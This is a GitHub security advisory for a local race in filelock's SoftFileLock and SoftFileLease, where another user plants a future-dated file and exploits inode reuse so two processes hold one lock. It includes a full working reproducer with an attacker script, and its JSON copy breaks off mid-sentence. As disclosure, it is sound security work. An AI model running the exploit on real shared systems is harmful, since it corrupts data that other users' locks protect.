GHSA-2G95-WG33-C5X2

Vulnerability from github – Published: 2026-10-23 22:00 – Updated: 2026-10-23 22:00
VLAI
Summary
filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse
Details

SoftFileLock and MarkerSoftFileLock evict an unparsable marker (the lock file at <path>, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. SoftFileLease expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.

Another local user (the other user below) who can create files in the lock's directory, a sticky /tmp included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.

Two of the lock user's processes then run the critical section together with no error. A SoftFileLease waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after lease_duration. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-RKC48J5B).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's processes act on their own. C:N (no confidentiality impact): the other user reads nothing. I:H (high integrity impact): two holders write the data the lock protects, and neither learns of the other. A:N (no availability impact): the lock keeps working.

Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.

Scope and preconditions

  • The other user can create files in the lock's directory; a root-owned 1777 directory is enough. It creates, utimes (sets the timestamps of) and unlinks only its own file. In the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock.
  • The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.
  • File timestamps come from a coarse clock whose future values the other user can compute (CLOCK_REALTIME_COARSE, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).
  • At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, lease_duration).
  • No symbolic link, hard link or FIFO takes part, so the fs.protected_* sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. StrictSoftFileLock keys its watch the same way but only raises SoftFileLockProtocolError, so it breaks no lock there.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the watch is SoftFileLock._marker_unchanged_for, with its caller in _try_break_stale_lock. The MarkerSoftFileLock and SoftFileLease paths hand an unparsable marker to the same code. The re-check in break_lock_file compares the values the contender just read.

Introduced

0f7c4d3794dc ("fix(soft): expire leases on the contender's clock", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.

Mechanism

SoftFileLock._acquire creates the marker with O_CREAT | O_EXCL (create the file, fail if it exists) and only then writes the holder record. In between it calls fstat and uname, stats /proc/self/ns/pid and reads /proc/<pid>/stat, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. _try_break_stale_lock reads the marker, finds no holder, and calls break_lock_file(lock_file, mtime, ino) only if _marker_unchanged_for(mtime, ino) reaches MALFORMED_LOCK_AGE_THRESHOLD (2.0 s). That function keeps self._marker_seen = ((mtime, ino), first seen) across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.

Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with utime, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.

  1. While the lock is free, the other user creates an empty file at the lock path (inode I) and sets its mtime to T, a tick of the coarse clock about 2.2 s in the future.
  2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records _marker_seen = ((T, I), first seen). After 2 s each poll calls break_lock_file, whose rename fails with EPERM (operation not permitted; seen with strace): the directory is sticky and the file belongs to the other user. suppress(OSError, ...) swallows the error, the file stays, and nothing resets _marker_seen.
  3. When the coarse clock reaches T, the other user unlinks its file. Inode I is free.
  4. Process F of the lock user polls during tick T. Its O_EXCL create succeeds, and its marker is inode I with mtime T.
  5. Process S polls before F has written its record. It reads an empty file with pair (T, I), _marker_unchanged_for returns the 2.2 s that S spent watching the other user's file, and S calls break_lock_file(lock_file, T, I).
  6. break_lock_file compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.
  7. F writes its record into the unlinked inode and returns from acquire(). The path is empty, so the next contender to poll creates a marker and returns from acquire() too. F's release finds another inode at the path (_unlink_open_marker) and leaves it. Neither holder learns anything.

Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick T, and a waiter broke 7 of those 13.

MarkerSoftFileLock and SoftFileLease hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: if owner.mode == "lease" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...). _marker_seen is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair (T, I) has gone unrefreshed for lease_duration, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using SoftFileLease(path, lease_duration=2) and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's on_compromise (the callback that tells a holder it lost the lock) reported owner-changed 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.

Reproduction

The scanner's reproducer for finding ANT-2026-RKC48J5B, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import time

LOCK_DIR = "/tmp/locks"
LOCK_PATH = "/tmp/locks/app.lock"
HOLDS_LOG = "/tmp/holds.log"


def start_victims():
    # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it
    shutil.rmtree(LOCK_DIR, ignore_errors=True)
    os.mkdir(LOCK_DIR)
    os.chmod(LOCK_DIR, 0o1777)
    victim = [sys.executable, "/tmp/repro.d/victim.py", LOCK_PATH]
    with open(HOLDS_LOG, "w") as holds_log:
        return [
            subprocess.Popen(victim, stdout=holds_log, user="victim", group="victim", extra_groups=[])
            for _ in range(10)
        ]


def holds_entered_after(moment):
    holds = []
    for line in open(HOLDS_LOG):
        fields = dict(field.split("=") for field in line.split())
        hold = {"entered": float(fields["entered"]), "exited": float(fields["exited"]), "line": line.strip()}
        if hold["entered"] > moment:
            holds.append(hold)
    return sorted(holds, key=lambda hold: hold["entered"])


def attack_until_overlap(phase, date_offset_s, max_attempts):
    victims = start_victims()
    attacker = [sys.executable, "/tmp/repro.d/attacker.py", LOCK_PATH, str(date_offset_s)]
    for attempt in range(1, max_attempts + 1):
        run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,
                             user="attacker", group="attacker", extra_groups=[])
        print(f"{phase} attempt {attempt}: {run.stdout.strip()}", flush=True)
        unlinked_at = float(run.stdout.split("unlinked_at=")[1])
        time.sleep(0.4)  # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now

        # A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the
        # report), so those are left out. time.monotonic() is one clock for every process on the machine.
        holds = holds_entered_after(unlinked_at + 0.001)
        overlaps = [(first, second) for first, second in zip(holds, holds[1:])
                    if second["entered"] < first["exited"]]
        if overlaps:
            break
    for victim in victims:
        victim.kill()
        victim.wait()
    return overlaps


# control: the attacker's file is dated an hour after the tick in which it is unlinked
control = attack_until_overlap("CONTROL", date_offset_s=3600, max_attempts=20)
# attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets
observed = attack_until_overlap("OBSERVED", date_offset_s=0, max_attempts=250)

# check: no two victims may ever be inside the lock at once
for phase, overlaps in [("CONTROL", control), ("OBSERVED", observed)]:
    print(f"{phase}: {len(overlaps)} time(s) two victims inside the lock at once")
    for first, second in overlaps:
        print(f"{phase}:   {first['line']}")
        print(f"{phase}:   {second['line']}")
print("BUG" if observed and not control else "OK")

repro.d/attacker.py

#!/usr/bin/env python3
import os
import random
import sys
import time

lock_path, date_offset_s = sys.argv[1], int(sys.argv[2])

CLOCK_REALTIME_COARSE = 5  # <linux/time.h>; the kernel stamps new files from it, and it moves once per timer tick
tick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)

# take the lock path the moment it is free, like any contender
while True:
    try:
        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
        break
    except FileExistsError:
        time.sleep(0.002)

# Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random
# part makes some attempts free the path just before one of their polls.
park_s = random.uniform(2.2, 2.25)
release_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns
mtime_ns = release_tick + date_offset_s * 10**9
os.utime(fd, ns=(mtime_ns, mtime_ns))
inode = os.fstat(fd).st_ino
os.close(fd)

time.sleep(park_s - 0.05)
while time.clock_gettime_ns(CLOCK_REALTIME_COARSE) < release_tick:
    pass
os.unlink(lock_path)  # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode
unlinked_at = time.monotonic()
time.sleep(0.1)  # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer
print(f"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}")

repro.d/victim.py

#!/usr/bin/env python3
import os
import sys
import time

from filelock import SoftFileLock

lock = SoftFileLock(sys.argv[1])
while True:
    with lock:
        entered = time.monotonic()
        time.sleep(0.3)  # work on whatever the lock protects
        print(f"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}", flush=True)
    time.sleep(0.05)

Attack sequence

sequenceDiagram
    participant X as other local user
    participant P as lock path (sticky dir, ext4, 4 ms clock ticks)
    participant S as process S of the lock user (waiting)
    participant F as process F of the lock user
    X->>P: create empty file, inode I, utime to future tick T
    S->>P: poll: empty file, key (T, I), watch starts
    Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting
    rect rgb(255, 214, 214)
        X->>P: at tick T: unlink own file, I is free
        F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written
        S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker
        F->>P: writes record into the unlinked inode, acquire() returns
        Note over S,F: the path is empty, the next contender creates a marker: two holders, no error
    end

Evidence

The scanner's reproducer runs ten copies of a default-option SoftFileLock program (0.3 s of work per hold, 50 ms between holds) as user victim in a root-owned 1777 directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user attacker waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when CLOCK_REALTIME_COARSE reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.

In four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two victim processes overlapping in time with is_locked=True, for example pid=217 entered=241.295272609 exited=241.59542327 and pid=216 entered=241.295518489 exited=241.595641553. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.

Our review ran the reproducer over a loop-mounted ext4 /tmp (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, --cpus 2). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that utime cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.

Impact

A local user who can create a file in a soft lock's directory, a sticky directory such as /tmp included, gets two processes of another user to hold the same SoftFileLock at once (MarkerSoftFileLock too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock. For SoftFileLease the effect is a live, refreshed claim taken after milliseconds instead of after lease_duration without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.

Workarounds

Keep soft locks in a directory other users cannot create files in (a 0700 directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native FileLock works (local ext4 with flock), prefer it over SoftFileLock. Raise poll_interval so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/843

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-RKC48J5B, scanned commit b831496b0273)
  • 2026-10-16 00:46 UTC: draft advisory created
  • 2026-10-16 01:42 UTC: fix PR #843 opened
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T22:00:33Z",
    "nvd_published_at": "2026-10-20T15:17:15Z",
    "severity": "MODERATE"
  },
  "details": "`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at `\u003cpath\u003e`, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker\u0027s modification time (mtime) and inode number (the kernel\u0027s identity for a file, independent of its name) alone.\n\nAnother local user (the other user below) who can create files in the lock\u0027s directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file\u0027s owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel\u0027s coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user\u0027s next marker repeats both values. It inherits the time spent watching the other user\u0027s file, and a second waiter removes it while its owner holds the lock.\n\nTwo of the lock user\u0027s processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock \u003e= 4.1.0 and \u003c= 4.2.0 (finding `ANT-2026-RKC48J5B`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 \u00b5s create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user\u0027s processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account\u0027s numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user\u0027s unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report\u0027s own runs and on the mechanism.\n\n## Scope and preconditions\n\n- The other user can create files in the lock\u0027s directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock.\n- The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.\n- File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock\u0027s value).\n- At least two processes of the lock user are waiting on the lock while the other user\u0027s file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`).\n- No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there.\n\nfilelock\u0027s checks against another local user hold only when no other user can replace the lock\u0027s directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the watch is [`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123). The [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) paths hand an unparsable marker to the same code. The re-check in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118) compares the values the contender just read.\n\n## Introduced\n\n0f7c4d3794dc (\"fix(soft): expire leases on the contender\u0027s clock\", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker\u0027s mtime with the wall clock, and this does not affect them.\n\n## Mechanism\n\n`SoftFileLock._acquire` creates the marker with `O_CREAT | O_EXCL` (create the file, fail if it exists) and only then writes the holder record. In between it calls `fstat` and `uname`, stats `/proc/self/ns/pid` and reads `/proc/\u003cpid\u003e/stat`, so for about 75 \u00b5s (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.\n\nNeither half of the pair belongs to one file. A file\u0027s owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.\n\n1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.\n2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.\n3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.\n4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.\n5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user\u0027s file, and S calls `break_lock_file(lock_file, T, I)`.\n6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F\u0027s marker, so both checks pass. F\u0027s marker has S\u0027s UID, so the rename and the unlink succeed.\n7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F\u0027s release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.\n\nStep 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F\u0027s 75 \u00b5s gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock\u0027s DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.\n\n`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == \"lease\" and self._marker_unchanged_for(mtime, ino) \u003e= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F\u0027s complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F\u0027s first heartbeat (the periodic refresh a lease holder runs). With the lock user\u0027s processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder\u0027s `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nLOCK_DIR = \"/tmp/locks\"\nLOCK_PATH = \"/tmp/locks/app.lock\"\nHOLDS_LOG = \"/tmp/holds.log\"\n\n\ndef start_victims():\n    # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it\n    shutil.rmtree(LOCK_DIR, ignore_errors=True)\n    os.mkdir(LOCK_DIR)\n    os.chmod(LOCK_DIR, 0o1777)\n    victim = [sys.executable, \"/tmp/repro.d/victim.py\", LOCK_PATH]\n    with open(HOLDS_LOG, \"w\") as holds_log:\n        return [\n            subprocess.Popen(victim, stdout=holds_log, user=\"victim\", group=\"victim\", extra_groups=[])\n            for _ in range(10)\n        ]\n\n\ndef holds_entered_after(moment):\n    holds = []\n    for line in open(HOLDS_LOG):\n        fields = dict(field.split(\"=\") for field in line.split())\n        hold = {\"entered\": float(fields[\"entered\"]), \"exited\": float(fields[\"exited\"]), \"line\": line.strip()}\n        if hold[\"entered\"] \u003e moment:\n            holds.append(hold)\n    return sorted(holds, key=lambda hold: hold[\"entered\"])\n\n\ndef attack_until_overlap(phase, date_offset_s, max_attempts):\n    victims = start_victims()\n    attacker = [sys.executable, \"/tmp/repro.d/attacker.py\", LOCK_PATH, str(date_offset_s)]\n    for attempt in range(1, max_attempts + 1):\n        run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,\n                             user=\"attacker\", group=\"attacker\", extra_groups=[])\n        print(f\"{phase} attempt {attempt}: {run.stdout.strip()}\", flush=True)\n        unlinked_at = float(run.stdout.split(\"unlinked_at=\")[1])\n        time.sleep(0.4)  # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now\n\n        # A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the\n        # report), so those are left out. time.monotonic() is one clock for every process on the machine.\n        holds = holds_entered_after(unlinked_at + 0.001)\n        overlaps = [(first, second) for first, second in zip(holds, holds[1:])\n                    if second[\"entered\"] \u003c first[\"exited\"]]\n        if overlaps:\n            break\n    for victim in victims:\n        victim.kill()\n        victim.wait()\n    return overlaps\n\n\n# control: the attacker\u0027s file is dated an hour after the tick in which it is unlinked\ncontrol = attack_until_overlap(\"CONTROL\", date_offset_s=3600, max_attempts=20)\n# attack: the same file dated at that tick, i.e. with the mtime a victim\u0027s marker created in that tick gets\nobserved = attack_until_overlap(\"OBSERVED\", date_offset_s=0, max_attempts=250)\n\n# check: no two victims may ever be inside the lock at once\nfor phase, overlaps in [(\"CONTROL\", control), (\"OBSERVED\", observed)]:\n    print(f\"{phase}: {len(overlaps)} time(s) two victims inside the lock at once\")\n    for first, second in overlaps:\n        print(f\"{phase}:   {first[\u0027line\u0027]}\")\n        print(f\"{phase}:   {second[\u0027line\u0027]}\")\nprint(\"BUG\" if observed and not control else \"OK\")\n```\n\n**`repro.d/attacker.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport random\nimport sys\nimport time\n\nlock_path, date_offset_s = sys.argv[1], int(sys.argv[2])\n\nCLOCK_REALTIME_COARSE = 5  # \u003clinux/time.h\u003e; the kernel stamps new files from it, and it moves once per timer tick\ntick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)\n\n# take the lock path the moment it is free, like any contender\nwhile True:\n    try:\n        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n        break\n    except FileExistsError:\n        time.sleep(0.002)\n\n# Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random\n# part makes some attempts free the path just before one of their polls.\npark_s = random.uniform(2.2, 2.25)\nrelease_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns\nmtime_ns = release_tick + date_offset_s * 10**9\nos.utime(fd, ns=(mtime_ns, mtime_ns))\ninode = os.fstat(fd).st_ino\nos.close(fd)\n\ntime.sleep(park_s - 0.05)\nwhile time.clock_gettime_ns(CLOCK_REALTIME_COARSE) \u003c release_tick:\n    pass\nos.unlink(lock_path)  # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode\nunlinked_at = time.monotonic()\ntime.sleep(0.1)  # exiting right away keeps a CPU busy during the victims\u0027 polls, and overlaps get much rarer\nprint(f\"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}\")\n```\n\n**`repro.d/victim.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        entered = time.monotonic()\n        time.sleep(0.3)  # work on whatever the lock protects\n        print(f\"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}\", flush=True)\n    time.sleep(0.05)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user\n    participant P as lock path (sticky dir, ext4, 4 ms clock ticks)\n    participant S as process S of the lock user (waiting)\n    participant F as process F of the lock user\n    X-\u003e\u003eP: create empty file, inode I, utime to future tick T\n    S-\u003e\u003eP: poll: empty file, key (T, I), watch starts\n    Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting\n    rect rgb(255, 214, 214)\n        X-\u003e\u003eP: at tick T: unlink own file, I is free\n        F-\u003e\u003eP: O_EXCL create in tick T: inode I, mtime T, record not yet written\n        S-\u003e\u003eP: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F\u0027s marker\n        F-\u003e\u003eP: writes record into the unlinked inode, acquire() returns\n        Note over S,F: the path is empty, the next contender creates a marker: two holders, no error\n    end\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer runs ten copies of a default-option `SoftFileLock` program (0.3 s of work per hold, 50 ms between holds) as user `victim` in a root-owned `1777` directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user `attacker` waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when `CLOCK_REALTIME_COARSE` reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.\n\nIn four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two `victim` processes overlapping in time with `is_locked=True`, for example `pid=217 entered=241.295272609 exited=241.59542327` and `pid=216 entered=241.295518489 exited=241.595641553`. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` (the host\u0027s btrfs does not hand a freed number back) with inode 